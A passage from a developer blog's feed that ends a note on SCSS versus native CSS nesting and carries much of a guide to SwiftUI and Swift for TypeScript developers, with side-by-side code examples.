  &amp;amp;__title {
    font-size: 1.5rem;
  }
  &amp;amp;--large {
    padding: 2rem;
  }
}
/* Outputs: .card__title and .card--large */
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;/* ❌ Native CSS — does NOT work */
.card {
  &amp;amp;__title {
    font-size: 1.5rem; /* this is invalid */
  }
}

/* ✅ Native CSS — use full class names instead */
.card {
  .card__title {
    font-size: 1.5rem;
  }
  .card--large {
    padding: 2rem;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Specificity differences with &lt;code&gt;&amp;amp;&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;In SCSS, &lt;code&gt;&amp;amp;&lt;/code&gt; is replaced with the parent selector as a string, so specificity is straightforward. In native CSS, &lt;code&gt;&amp;amp;&lt;/code&gt; is treated as an &lt;code&gt;:is()&lt;/code&gt; selector, which takes the specificity of its most specific argument:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Native CSS */
.card, #special {
  .title {
    color: red;
  }
}
/* Equivalent to: */
:is(.card, #special) .title {
  color: red;
}
/* .title gets ID-level specificity (1,0,1) even inside .card
   because :is() uses the highest specificity in the list */
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In SCSS the same code would output two separate rules, each with their own specificity:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* SCSS output */
.card .title {
  color: red; /* specificity: 0,2,0 */
}
#special .title {
  color: red; /* specificity: 1,0,1 */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Side-by-side cheat sheet&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;SCSS&lt;/th&gt;
&lt;th&gt;Native CSS&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Basic nesting&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.a { .b { } }&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.a { .b { } }&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Parent ref&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;:hover&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;:hover&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;String concat&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;__child&lt;/code&gt; ✅&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;__child&lt;/code&gt; ❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nested &lt;code&gt;@media&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Variables&lt;/td&gt;
&lt;td&gt;&lt;code&gt;$var&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;var(--var)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mixins&lt;/td&gt;
&lt;td&gt;&lt;code&gt;@mixin&lt;/code&gt; / &lt;code&gt;@include&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;❌ (no equivalent)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Color functions&lt;/td&gt;
&lt;td&gt;&lt;code&gt;lighten()&lt;/code&gt;, &lt;code&gt;darken()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;color-mix()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Selector lists specificity&lt;/td&gt;
&lt;td&gt;Individual&lt;/td&gt;
&lt;td&gt;Uses &lt;code&gt;:is()&lt;/code&gt; (highest wins)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Build step required&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Things to know&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Specificity&lt;/strong&gt;: nested rules use &lt;code&gt;:is()&lt;/code&gt; semantics — the parent selector&apos;s specificity is determined by the most specific selector in a list&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Element selectors&lt;/strong&gt;: bare element selectors like &lt;code&gt;div&lt;/code&gt; or &lt;code&gt;p&lt;/code&gt; work directly inside nesting without needing &lt;code&gt;&amp;amp;&lt;/code&gt; (this was updated from the original spec)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No string concatenation&lt;/strong&gt;: unlike Sass, you can&apos;t do &lt;code&gt;&amp;amp;__element&lt;/code&gt; to construct BEM class names — &lt;code&gt;&amp;amp;&lt;/code&gt; is a selector, not a string&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Browser support&lt;/strong&gt;: available in Chrome 120+, Firefox 117+, Safari 17.2+&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>SwiftUI for TypeScript developers</title><link>https://zander.wtf/notes/swiftui-for-ts-devs/</link><guid isPermaLink="true">https://zander.wtf/notes/swiftui-for-ts-devs/</guid><description>A guide to SwiftUI for developers coming from TypeScript/JavaScript. Key differences from TypeScript | Concept | TypeScript | Swift/SwiftUI |…</description><pubDate>Sun, 15 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A guide to SwiftUI for developers coming from TypeScript/JavaScript.&lt;/p&gt;
&lt;h2&gt;Key differences from TypeScript&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Concept&lt;/th&gt;
&lt;th&gt;TypeScript&lt;/th&gt;
&lt;th&gt;Swift/SwiftUI&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Typing&lt;/td&gt;
&lt;td&gt;Static, structural&lt;/td&gt;
&lt;td&gt;Static, nominal + protocols&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Execution&lt;/td&gt;
&lt;td&gt;Interpreted (via JS)&lt;/td&gt;
&lt;td&gt;Compiled to native binary&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Memory&lt;/td&gt;
&lt;td&gt;Garbage collected&lt;/td&gt;
&lt;td&gt;ARC (Automatic Reference Counting)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Null&lt;/td&gt;
&lt;td&gt;&lt;code&gt;null&lt;/code&gt; / &lt;code&gt;undefined&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Optional&lt;/code&gt; (no null)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Errors&lt;/td&gt;
&lt;td&gt;Exceptions&lt;/td&gt;
&lt;td&gt;&lt;code&gt;throws&lt;/code&gt; + &lt;code&gt;do/catch&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Package manager&lt;/td&gt;
&lt;td&gt;npm/yarn/pnpm&lt;/td&gt;
&lt;td&gt;Swift Package Manager (SPM)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;UI framework&lt;/td&gt;
&lt;td&gt;React/Vue/Svelte&lt;/td&gt;
&lt;td&gt;SwiftUI (declarative, built-in)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Variables and constants&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const name: string = &quot;Alice&quot;
let age: number = 30
const isActive = true
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Swift&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Immutable (like const)
let name: String = &quot;Alice&quot;
let name = &quot;Alice&quot;  // Type inference

// Mutable (like let)
var age = 30
age = 31  // OK

// Type annotations
let score: Double = 9.5
let isActive: Bool = true

// Computed properties (like getters)
var greeting: String {
    &quot;Hello, \(name)!&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Basic types&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;TypeScript&lt;/th&gt;
&lt;th&gt;Swift&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;string&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;String&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;number&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Int&lt;/code&gt;, &lt;code&gt;Double&lt;/code&gt;, &lt;code&gt;Float&lt;/code&gt;, &lt;code&gt;CGFloat&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;boolean&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Bool&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;any&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Any&lt;/code&gt; (use sparingly)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;null&lt;/code&gt; / &lt;code&gt;undefined&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;nil&lt;/code&gt; (with Optionals)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Array&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;[T]&lt;/code&gt; or &lt;code&gt;Array&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Record&amp;lt;string, V&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;[String: V]&lt;/code&gt; or &lt;code&gt;Dictionary&amp;lt;String, V&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Set&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Set&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[T, U]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;(T, U)&lt;/code&gt; tuple&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Numeric types&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Integers
let a: Int = 42          // Platform-sized (64-bit on modern)
let b: Int8 = 127
let c: Int16 = 32_767
let d: Int64 = 9_223_372_036_854_775_807
let e: UInt = 42          // Unsigned

// Floating point
let f: Float = 3.14       // 32-bit
let g: Double = 3.141592653589793  // 64-bit (default)
let h: CGFloat = 10.0     // Used in UI layout

// Underscores for readability
let million = 1_000_000
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Strings&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// String basics
let s = &quot;hello&quot;
var mutable = &quot;hello&quot;
mutable += &quot;, world!&quot;

// String interpolation (like template literals)
let name = &quot;Alice&quot;
let greeting = &quot;Hello, \(name)!&quot;
let math = &quot;2 + 2 = \(2 + 2)&quot;

// Multi-line strings (like template literals)
let text = &quot;&quot;&quot;
    This is a
    multi-line string
    &quot;&quot;&quot;

// Common operations
let upper = s.uppercased()
let contains = s.contains(&quot;ell&quot;)
let count = s.count
let isEmpty = s.isEmpty
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Functions&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function greet(name: string): string {
    return `Hello, ${name}!`
}

const add = (a: number, b: number): number =&amp;gt; a + b

function log(message: string, level: string = &quot;INFO&quot;): void {
    console.log(`[${level}] ${message}`)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Swift&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Basic function
func greet(name: String) -&amp;gt; String {
    &quot;Hello, \(name)!&quot;  // Implicit return for single expressions
}

// Argument labels (external + internal names)
func greet(person name: String) -&amp;gt; String {
    &quot;Hello, \(name)!&quot;
}
greet(person: &quot;Alice&quot;)

// Omit external label with _
func add(_ a: Int, _ b: Int) -&amp;gt; Int {
    a + b
}
add(1, 2)  // No labels needed

// Default parameters
func log(_ message: String, level: String = &quot;INFO&quot;) {
    print(&quot;[\(level)] \(message)&quot;)
}
log(&quot;Hello&quot;)
log(&quot;Hello&quot;, level: &quot;DEBUG&quot;)

// Closures (like arrow functions)
let add = { (a: Int, b: Int) -&amp;gt; Int in
    a + b
}

// Shorthand closure syntax
let doubled = [1, 2, 3].map { $0 * 2 }
let sum = [1, 2, 3].reduce(0) { $0 + $1 }
// Or even shorter with operator
let sum = [1, 2, 3].reduce(0, +)

// Trailing closure syntax
let evens = [1, 2, 3, 4].filter { $0 % 2 == 0 }
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Optionals (null safety)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;This is a key concept in Swift.&lt;/strong&gt; There&apos;s no &lt;code&gt;null&lt;/code&gt; or &lt;code&gt;undefined&lt;/code&gt; - instead, Swift uses Optionals.&lt;/p&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function find(id: number): User | undefined {
    return users.find(u =&amp;gt; u.id === id)
}

const user = find(1)
if (user) {
    console.log(user.name)
}
console.log(user?.name ?? &quot;Unknown&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Swift&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Optional type (can be nil)
var name: String? = &quot;Alice&quot;
var missing: String? = nil

// Unwrapping optionals
// 1. if let (like if (value) in TS)
if let name = name {
    print(&quot;Name: \(name)&quot;)
}

// 2. guard let (early return)
func greet(_ name: String?) -&amp;gt; String {
    guard let name = name else {
        return &quot;Hello, stranger!&quot;
    }
    return &quot;Hello, \(name)!&quot;
}

// 3. Optional chaining (like ?.)
let count = name?.count  // Int?

// 4. Nil coalescing (like ??)
let displayName = name ?? &quot;Unknown&quot;

// 5. Force unwrap (like ! in TS - avoid!)
let forced = name!  // Crashes if nil!

// 6. map / flatMap on optionals
let uppercased = name.map { $0.uppercased() }  // String?

// Optional binding with multiple values
if let name = name, let age = age, age &amp;gt; 18 {
    print(&quot;\(name) is an adult&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Structs and classes&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;interface User {
    id: number
    name: string
    email?: string
}

class UserService {
    private users: User[] = []

    addUser(user: User): void {
        this.users.push(user)
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Swift&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Struct (value type - preferred in SwiftUI)
struct User {
    let id: Int
    var name: String
    var email: String?

    // Computed property
    var displayName: String {
        email.map { &quot;\(name) (\($0))&quot; } ?? name
    }

    // Method
    func greet() -&amp;gt; String {
        &quot;Hello, \(name)!&quot;
    }

    // Mutating method (modifies struct)
    mutating func updateName(_ newName: String) {
        name = newName
    }
}

// Memberwise initializer (auto-generated)
let user = User(id: 1, name: &quot;Alice&quot;, email: nil)

// Custom initializer
struct User {
    let id: Int
    var name: String

    init(id: Int, name: String) {
        self.id = id
        self.name = name
    }
}

// Class (reference type - use for shared state)
class UserService {
    private var users: [User] = []

    func addUser(_ user: User) {
        users.append(user)
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Struct vs class&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Struct = value type (copied on assignment)
var a = User(id: 1, name: &quot;Alice&quot;, email: nil)
var b = a
b.name = &quot;Bob&quot;
print(a.name)  // &quot;Alice&quot; (unchanged)

// Class = reference type (shared on assignment)
let service1 = UserService()
let service2 = service1
service2.addUser(user)
// service1 and service2 point to same instance
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Enums&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;type Status = &quot;pending&quot; | &quot;active&quot; | &quot;inactive&quot;

type Result&amp;lt;T, E&amp;gt; =
    | { ok: true; value: T }
    | { ok: false; error: E }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Swift&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Simple enum
enum Status {
    case pending
    case active
    case inactive
}

let status = Status.active
// Or shorthand when type is known
let status: Status = .active

// Enum with associated values (like discriminated unions)
enum Message {
    case quit
    case move(x: Int, y: Int)
    case write(String)
    case changeColor(r: UInt8, g: UInt8, b: UInt8)
}

let msg = Message.move(x: 10, y: 20)
let msg = Message.write(&quot;hello&quot;)

// Pattern matching (like switch but exhaustive)
switch msg {
case .quit:
    print(&quot;Quit&quot;)
case .move(let x, let y):
    print(&quot;Move to \(x), \(y)&quot;)
case .write(let text):
    print(&quot;Text: \(text)&quot;)
case .changeColor(let r, let g, let b):
    print(&quot;Color: \(r), \(g), \(b)&quot;)
}

// Enum with raw values
enum Direction: String {
    case north = &quot;N&quot;
    case south = &quot;S&quot;
    case east = &quot;E&quot;
    case west = &quot;W&quot;
}

let dir = Direction.north
print(dir.rawValue)  // &quot;N&quot;
let dir = Direction(rawValue: &quot;N&quot;)  // Optional&amp;lt;Direction&amp;gt;

// Enum with methods
enum Temperature {
    case celsius(Double)
    case fahrenheit(Double)

    var asCelsius: Double {
        switch self {
        case .celsius(let c): return c
        case .fahrenheit(let f): return (f - 32) * 5 / 9
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Result type (built-in)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Result&amp;lt;Success, Failure&amp;gt; - like TS Result type
enum NetworkError: Error {
    case notFound
    case serverError(Int)
}

func fetchUser(id: Int) -&amp;gt; Result&amp;lt;User, NetworkError&amp;gt; {
    if id &amp;lt;= 0 {
        return .failure(.notFound)
    }
    return .success(User(id: id, name: &quot;Alice&quot;, email: nil))
}

// Handling Result
switch fetchUser(id: 1) {
case .success(let user):
    print(&quot;Got user: \(user.name)&quot;)
case .failure(let error):
    print(&quot;Error: \(error)&quot;)
}

// Or with get()
let user = try? fetchUser(id: 1).get()  // Optional&amp;lt;User&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Protocols (interfaces)&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;interface Drawable {
    draw(): void
}

interface Resizable {
    resize(width: number, height: number): void
}

class Circle implements Drawable, Resizable {
    draw() { /* ... */ }
    resize(w: number, h: number) { /* ... */ }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Swift&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;protocol Drawable {
    func draw()
}

protocol Resizable {
    mutating func resize(width: Double, height: Double)
}

struct Circle: Drawable, Resizable {
    var radius: Double

    func draw() {
        print(&quot;Drawing circle with radius \(radius)&quot;)
    }

    mutating func resize(width: Double, height: Double) {
        radius = min(width, height) / 2
    }
}

// Protocol with default implementation
protocol Greetable {
    var name: String { get }

    func greet() -&amp;gt; String
}

extension Greetable {
    func greet() -&amp;gt; String {
        &quot;Hello, \(name)!&quot;
    }
}

// Protocol constraints (like generic constraints)
func render&amp;lt;T: Drawable&amp;gt;(_ item: T) {
    item.draw()
}

// Multiple constraints
func process&amp;lt;T: Drawable &amp;amp; Resizable&amp;gt;(_ item: inout T) {
    item.draw()
    item.resize(width: 100, height: 100)
}

// some keyword (opaque type)
func makeShape() -&amp;gt; some Drawable {
    Circle(radius: 5)
}

// any keyword (existential type)
func renderAll(_ items: [any Drawable]) {
    for item in items {
        item.draw()
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Common protocols&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Codable - JSON encoding/decoding (like serde)
struct User: Codable {
    let id: Int
    let name: String
}

// Equatable - equality comparison
struct Point: Equatable {
    let x: Double
    let y: Double
}

// Hashable - can be used in Sets and Dictionary keys
struct Id: Hashable {
    let value: Int
}

// Identifiable - common in SwiftUI lists
struct Item: Identifiable {
    let id: UUID
    let title: String
}

// CustomStringConvertible - toString()
struct User: CustomStringConvertible {
    let name: String
    var description: String { &quot;User(\(name))&quot; }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Collections&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const arr: number[] = [1, 2, 3]
arr.push(4)
const doubled = arr.map(n =&amp;gt; n * 2)
const evens = arr.filter(n =&amp;gt; n % 2 === 0)
const sum = arr.reduce((a, b) =&amp;gt; a + b, 0)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Swift&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Array
var arr = [1, 2, 3]
arr.append(4)

// Functional operations (eager, not lazy by default)
let doubled = arr.map { $0 * 2 }
let evens = arr.filter { $0 % 2 == 0 }
let sum = arr.reduce(0, +)

// Or with trailing closure
let sum = arr.reduce(0) { $0 + $1 }

// Iteration
for n in arr {
    print(n)
}

for (i, n) in arr.enumerated() {
    print(&quot;\(i): \(n)&quot;)
}

// Common methods
arr.count
arr.isEmpty
arr.contains(2)
arr.first           // Optional
arr.last            // Optional
arr.firstIndex(of: 2)
arr.sorted()
arr.reversed()
arr.compactMap { Int($0) }  // Filter nil values
arr.flatMap { [$0, $0] }
arr.prefix(2)       // First 2
arr.suffix(2)       // Last 2
arr.dropFirst()
arr.dropLast()

// Lazy evaluation (like Rust iterators)
let result = arr.lazy
    .filter { $0 % 2 == 0 }
    .map { $0 * 2 }
    .prefix(5)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Dictionary&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;var scores: [String: Int] = [:]
scores[&quot;Alice&quot;] = 100
scores[&quot;Bob&quot;] = 85

// Literal
let scores = [
    &quot;Alice&quot;: 100,
    &quot;Bob&quot;: 85,
]

// Access (returns Optional)
let aliceScore = scores[&quot;Alice&quot;]  // Int?
let aliceScore = scores[&quot;Alice&quot;, default: 0]  // Int

// Update
scores[&quot;Alice&quot;] = 110
scores.updateValue(110, forKey: &quot;Alice&quot;)

// Check and set
if scores[&quot;Charlie&quot;] == nil {
    scores[&quot;Charlie&quot;] = 0
}

// Iterate
for (name, score) in scores {
    print(&quot;\(name): \(score)&quot;)
}

// Transform
let doubled = scores.mapValues { $0 * 2 }

// Remove
scores.removeValue(forKey: &quot;Bob&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Error handling&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;try {
    const data = await fetchData()
} catch (error) {
    console.error(&quot;Failed:&quot;, error)
    throw error
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Swift&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Define errors
enum AppError: Error {
    case notFound
    case invalidInput(String)
    case networkError(underlying: Error)
}

// Throwing functions
func fetchUser(id: Int) throws -&amp;gt; User {
    guard id &amp;gt; 0 else {
        throw AppError.invalidInput(&quot;ID must be positive&quot;)
    }
    // ...
    return User(id: id, name: &quot;Alice&quot;, email: nil)
}

// Handling errors with do/catch
do {
    let user = try fetchUser(id: 1)
    print(user.name)
} catch AppError.notFound {
    print(&quot;User not found&quot;)
} catch AppError.invalidInput(let message) {
    print(&quot;Invalid: \(message)&quot;)
} catch {
    print(&quot;Error: \(error)&quot;)  // Implicit `error` binding
}

// try? - convert to optional (like catch returning undefined)
let user = try? fetchUser(id: 1)  // User?

// try! - force (crashes on error, avoid!)
let user = try! fetchUser(id: 1)

// Propagate errors (like ? in Rust)
func loadProfile(id: Int) throws -&amp;gt; Profile {
    let user = try fetchUser(id: id)  // Propagates error
    return try fetchProfile(for: user)
}

// Error with LocalizedError for descriptions
enum AppError: LocalizedError {
    case notFound

    var errorDescription: String? {
        switch self {
        case .notFound: return &quot;The requested item was not found&quot;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;SwiftUI basics&lt;/h2&gt;
&lt;h3&gt;React/TypeScript equivalent&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function Counter() {
    const [count, setCount] = useState(0)

    return (
        &amp;lt;div style={{ padding: 20 }}&amp;gt;
            &amp;lt;p&amp;gt;Count: {count}&amp;lt;/p&amp;gt;
            &amp;lt;button onClick={() =&amp;gt; setCount(c =&amp;gt; c + 1)}&amp;gt;
                Increment
            &amp;lt;/button&amp;gt;
        &amp;lt;/div&amp;gt;
    )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;SwiftUI&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;struct CounterView: View {
    @State private var count = 0

    var body: some View {
        VStack(spacing: 20) {
            Text(&quot;Count: \(count)&quot;)
            Button(&quot;Increment&quot;) {
                count += 1
            }
        }
        .padding()
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;SwiftUI state management&lt;/h2&gt;
&lt;h3&gt;React state vs SwiftUI property wrappers&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;React&lt;/th&gt;
&lt;th&gt;SwiftUI&lt;/th&gt;
&lt;th&gt;Use case&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useState&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;@State&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Local component state&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useRef&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Regular property&lt;/td&gt;
&lt;td&gt;Non-reactive value&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;props&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Regular &lt;code&gt;let&lt;/code&gt;/&lt;code&gt;var&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Passed from parent&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useState&lt;/code&gt; + callback&lt;/td&gt;
&lt;td&gt;&lt;code&gt;@Binding&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Two-way parent-child binding&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useContext&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;@Environment&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;App-wide values&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useContext&lt;/code&gt; + reducer&lt;/td&gt;
&lt;td&gt;&lt;code&gt;@Observable&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Shared mutable state&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;useMemo&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Computed property&lt;/td&gt;
&lt;td&gt;Derived values&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;@State (local state)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;struct ToggleView: View {
    @State private var isOn = false

    var body: some View {
        Toggle(&quot;Switch&quot;, isOn: $isOn)  // $ creates a Binding
        Text(isOn ? &quot;ON&quot; : &quot;OFF&quot;)
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;@Binding (two-way props)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Like passing setState down as a prop
struct ParentView: View {
    @State private var name = &quot;&quot;

    var body: some View {
        ChildView(name: $name)  // Pass binding
        Text(&quot;Hello, \(name)&quot;)
    }
}

struct ChildView: View {
    @Binding var name: String

    var body: some View {
        TextField(&quot;Enter name&quot;, text: $name)
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;@Observable (shared state)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import Observation

// Like a context + reducer
@Observable
class AppState {
    var user: User?
    var isLoading = false
    var items: [Item] = []

    func loadItems() async {
        isLoading = true
        items = await api.fetchItems()
        isLoading = false
    }
}

struct ContentView: View {
    var state = AppState()

    var body: some View {
        if state.isLoading {
            ProgressView()
        } else {
            List(state.items) { item in
                Text(item.title)
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;@Environment (dependency injection)&lt;/h3&gt;
